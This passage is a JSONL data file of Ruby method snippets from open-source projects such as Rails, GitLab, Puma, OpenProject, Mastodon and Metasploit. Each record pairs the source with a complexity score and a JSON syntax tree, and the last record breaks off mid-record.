{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/transaction.rb","start_line":121,"raw_source":"def uuid\n      if @internal_transaction\n        @uuid ||= Digest::UUID.uuid_v4\n      end\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"uuid\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@internal_transaction\"]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@uuid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Digest\"]},\"UUID\"]},\"uuid_v4\"]}]},null]}]}","id":"bc797a3a-3d8e-4f56-bbed-063221f3581d"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/github_integration/spec/support/webhook_fixture_helpers.rb","start_line":43,"raw_source":"def webhook_payload(event, name, replacements = {})\n    replacements = replacements.map { |key, value| [\"${#{key}}\", value.gsub(\"\\n\", '\\n')] }.to_h\n    content = File.read(File.join(FIXTURES_PATH, \"#{event}/#{name}.json\"))\n    content.gsub!(/\\$\\{[^{]+?\\}/, replacements)\n    JSON.parse(content)\n  end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"webhook_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"replacements\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"replacements\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"replacements\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"${\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"}\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\\\n\"]}]}]}]},\"to_h\"]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"const\",\"children\":[null,\"FIXTURES_PATH\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\".json\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\$\\\\{[^{]+?\\\\}\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"replacements\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"content\"]}]}]}]}","id":"06b53dfc-8e3c-42e6-8f71-1627ba472db9"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_persistent.rb","start_line":145,"raw_source":"def test_client11_close\n    response = send_http_read_response @close_request\n\n    assert_equal \"HTTP/1.1 200 OK\\r\\nX-Header: Works\\r\\nConnection: close\\r\\nContent-Length: 5\\r\\n\\r\\n\" \\\n      \"Hello\", response\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_client11_close\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"send_http_read_response\",{\"type\":\"ivar\",\"children\":[\"@close_request\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"HTTP/1.1 200 OK\\r\\nX-Header: Works\\r\\nConnection: close\\r\\nContent-Length: 5\\r\\n\\r\\n\"]},{\"type\":\"str\",\"children\":[\"Hello\"]}]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}","id":"e1a6d863-8d21-4deb-a810-292fce15efb1"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/my/access_token/api/row_component.rb","start_line":39,"raw_source":"def token_name\n          if api_token.token_name.nil?\n            t(\"my_account.access_tokens.api.static_token_name\")\n          else\n            api_token.token_name\n          end\n        end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"token_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_token\"]},\"token_name\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"str\",\"children\":[\"my_account.access_tokens.api.static_token_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"api_token\"]},\"token_name\"]}]}]}","id":"6bc4b82a-e7ff-4070-a67f-7a7bbdcc3a62"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/core_ext/string/inflections.rb","start_line":101,"raw_source":"def camelize(first_letter = :upper)\n    case first_letter\n    when :upper\n      ActiveSupport::Inflector.camelize(self, true)\n    when :lower\n      ActiveSupport::Inflector.camelize(self, false)\n    else\n      raise ArgumentError, \"Invalid option, use either :upper or :lower.\"\n    end\n  end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"camelize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"first_letter\",{\"type\":\"sym\",\"children\":[\"upper\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_letter\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"upper\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Inflector\"]},\"camelize\",{\"type\":\"self\",\"children\":[]},{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"lower\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Inflector\"]},\"camelize\",{\"type\":\"self\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Invalid option, use either :upper or :lower.\"]}]}]}]}","id":"8b863142-f60f-4e3b-9529-6bf1d8de5426"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/duration.rb","start_line":163,"raw_source":"def hours(value) # :nodoc:\n        new(value * SECONDS_PER_HOUR, { hours: value }, false)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"hours\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"*\",{\"type\":\"const\",\"children\":[null,\"SECONDS_PER_HOUR\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hours\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"0a9f0b37-dd48-491e-940f-f3486c999a26"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/packages/debian/process_package_file_service.rb","start_line":143,"raw_source":"def rename_package_and_set_version\n        package.update!(\n          name: package_name,\n          version: package_version,\n          status: :default\n        )\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"rename_package_and_set_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"package\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"package_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"send\",\"children\":[null,\"package_version\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"default\"]}]}]}]}]}","id":"188c24af-f0c9-4dbc-82a4-7a493c1b9e6c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/authn/token_field/base.rb","start_line":154,"raw_source":"def relation(unscoped)\n        unscoped ? @klass.unscoped : @klass.where(not_expired) # rubocop:disable CodeReuse/ActiveRecord: -- This is meant to be used in AR models.\n      end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"relation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"unscoped\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unscoped\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@klass\"]},\"unscoped\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@klass\"]},\"where\",{\"type\":\"send\",\"children\":[null,\"not_expired\"]}]}]}]}","id":"0979a445-2277-4706-906b-5014279ae962"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/socket_server.rb","start_line":139,"raw_source":"def regenerate_payload(cli, arch = nil, platform = nil, target = nil)\n\n    ohost = datastore['RHOST']\n    oport = datastore['RPORT']\n    p = nil\n\n    begin\n      # Update the datastore with the supplied client peerhost/peerport\n      datastore['RHOST'] = cli.peerhost\n      datastore['RPORT'] = cli.peerport\n\n      if ((p = super(arch, platform, target)) == nil)\n        print_error(\"Failed to generate payload\")\n        return nil\n      end\n\n      # Allow the payload to start a new handler\n      add_handler({\n        'RHOST' => datastore['RHOST'],\n        'RPORT' => datastore['RPORT']\n      })\n\n    ensure\n      datastore['RHOST'] = ohost\n      datastore['RPORT'] = oport\n    end\n\n    p\n  end","complexity_score":34.2,"ast_json":"{\"type\":\"def\",\"children\":[\"regenerate_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"optarg\",\"children\":[\"arch\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"platform\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"target\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ohost\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"oport\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"RHOST\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerhost\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"peerport\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},{\"type\":\"lvar\",\"children\":[\"platform\"]},{\"type\":\"lvar\",\"children\":[\"target\"]}]}]}]},\"==\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Failed to generate payload\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"add_handler\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RHOST\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"RHOST\"]},{\"type\":\"lvar\",\"children\":[\"ohost\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"lvar\",\"children\":[\"oport\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"p\"]}]}]}","id":"6ca1e693-ff4f-4284-aa7d-13141fc4d108"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/email/message/repository_push.rb","start_line":126,"raw_source":"def subject\n          subject_text = ['[Git]']\n          subject_text << \"[#{project.full_path}]\"\n          subject_text << \"[#{ref_name}]\" if @action == :push\n          subject_text << ' '\n\n          if @action == :push && commits\n            if commits.length > 1\n              subject_text << \"Deleted \" if reverse_compare?\n              subject_text << \"#{commits.length} commits: #{commits.first.title}\"\n            else\n              subject_text << \"Deleted 1 commit: \" if reverse_compare?\n              subject_text << commits.first.title\n            end\n          else\n            subject_action = action_name.dup\n            subject_action[0] = subject_action[0].capitalize\n            subject_text << \"#{subject_action} #{ref_type} #{ref_name}\"\n          end\n\n          subject_text.join\n        end","complexity_score":56.13,"ast_json":"{\"type\":\"def\",\"children\":[\"subject\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subject_text\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"[Git]\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subject_text\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"full_path\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@action\"]},\"==\",{\"type\":\"sym\",\"children\":[\"push\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subject_text\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ref_name\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subject_text\"]},\"<<\",{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@action\"]},\"==\",{\"type\":\"sym\",\"children\":[\"push\"]}]},{\"type\":\"send\",\"children\":[null,\"commits\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commits\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reverse_compare?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subject_text\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Deleted \"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subject_text\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commits\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" commits: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commits\"]},\"first\"]},\"title\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reverse_compare?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subject_text\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Deleted 1 commit: \"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subject_text\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"commits\"]},\"first\"]},\"title\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subject_action\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"action_name\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subject_action\"]},\"[]=\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subject_action\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"capitalize\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subject_text\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subject_action\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ref_type\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ref_name\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subject_text\"]},\"join\"]}]}]}","id":"cfa74c61-cb09-428c-945f-b53a9676e7ef"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/space_around_operators.rb","start_line":92,"raw_source":"def on_if(node)\n          return unless node.ternary?\n\n          check_operator(:if, node.loc.question, node.if_branch)\n          check_operator(:if, node.loc.colon, node.else_branch)\n        end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"on_if\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"ternary?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"check_operator\",{\"type\":\"sym\",\"children\":[\"if\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"question\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"if_branch\"]}]},{\"type\":\"send\",\"children\":[null,\"check_operator\",{\"type\":\"sym\",\"children\":[\"if\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"colon\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"else_branch\"]}]}]}]}","id":"1ef76711-afba-46f0-8397-cc5214c03dfd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/snippet.rb","start_line":24,"raw_source":"def fabricate!\n        Page::Main::Menu.perform(&:go_to_create_snippet)\n\n        Page::Dashboard::Snippet::New.perform do |new_page|\n          new_page.fill_title(@title)\n          new_page.fill_description(@description)\n          new_page.set_visibility(@visibility)\n          new_page.fill_file_name(@file_name)\n          new_page.fill_file_content(@file_content)\n\n          @files.each.with_index(2) do |file, i|\n            new_page.click_add_file\n            new_page.fill_file_name(file[:name], i)\n            new_page.fill_file_content(file[:content], i)\n          end\n          new_page.click_create_snippet_button\n        end\n\n        @id = Page::Dashboard::Snippet::Show.perform(&:snippet_id)\n      end","complexity_score":26.15,"ast_json":"{\"type\":\"def\",\"children\":[\"fabricate!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Main\"]},\"Menu\"]},\"perform\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"go_to_create_snippet\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Dashboard\"]},\"Snippet\"]},\"New\"]},\"perform\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_page\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_page\"]},\"fill_title\",{\"type\":\"ivar\",\"children\":[\"@title\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_page\"]},\"fill_description\",{\"type\":\"ivar\",\"children\":[\"@description\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_page\"]},\"set_visibility\",{\"type\":\"ivar\",\"children\":[\"@visibility\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_page\"]},\"fill_file_name\",{\"type\":\"ivar\",\"children\":[\"@file_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_page\"]},\"fill_file_content\",{\"type\":\"ivar\",\"children\":[\"@file_content\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@files\"]},\"each\"]},\"with_index\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]},{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_page\"]},\"click_add_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_page\"]},\"fill_file_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},{\"type\":\"lvar\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_page\"]},\"fill_file_content\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"content\"]}]},{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_page\"]},\"click_create_snippet_button\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@id\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Page\"]},\"Dashboard\"]},\"Snippet\"]},\"Show\"]},\"perform\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"snippet_id\"]}]}]}]}]}]}","id":"ff718785-e679-414e-a191-4041305349be"}
{"repo_name":"puma","file_path":"./repos/puma/test/helpers/integration.rb","start_line":240,"raw_source":"def connect(path = nil, unix: false)\n    s = unix ? UNIXSocket.new(@bind_path) : TCPSocket.new(HOST, @tcp_port)\n    @ios_to_close << s\n    s << \"GET /#{path} HTTP/1.1\\r\\n\\r\\n\"\n    s\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"connect\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"path\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"unix\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unix\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UNIXSocket\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@bind_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TCPSocket\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"HOST\"]},{\"type\":\"ivar\",\"children\":[\"@tcp_port\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ios_to_close\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"GET /\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\" HTTP/1.1\\r\\n\\r\\n\"]}]}]},{\"type\":\"lvar\",\"children\":[\"s\"]}]}]}","id":"db0c775a-7798-44b0-b219-2e1d4aef2b8d"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/source/amazon_s3/client.rb","start_line":127,"raw_source":"def get_results(conn, query)\n        results = conn.query(query)\n        hash_array_values(results)\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"get_results\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]},{\"type\":\"arg\",\"children\":[\"query\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"results\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"query\",{\"type\":\"lvar\",\"children\":[\"query\"]}]}]},{\"type\":\"send\",\"children\":[null,\"hash_array_values\",{\"type\":\"lvar\",\"children\":[\"results\"]}]}]}]}","id":"3b8771a4-10ab-4988-aef0-ef1ba2de5a03"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/admin/metrics/measure/instance_statuses_measure.rb","start_line":20,"raw_source":"def perform_total_query\n    domain = params[:domain]\n    domain = Instance.by_domain_and_subdomains(params[:domain]).select(:domain) if params[:include_subdomains]\n    Status.joins(:account).merge(Account.where(domain: domain)).count\n  end","complexity_score":18.1,"ast_json":"{\"type\":\"def\",\"children\":[\"perform_total_query\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"domain\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"domain\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"include_subdomains\"]}]},{\"type\":\"lvasgn\",\"children\":[\"domain\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Instance\"]},\"by_domain_and_subdomains\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"domain\"]}]}]},\"select\",{\"type\":\"sym\",\"children\":[\"domain\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Status\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"account\"]}]},\"merge\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":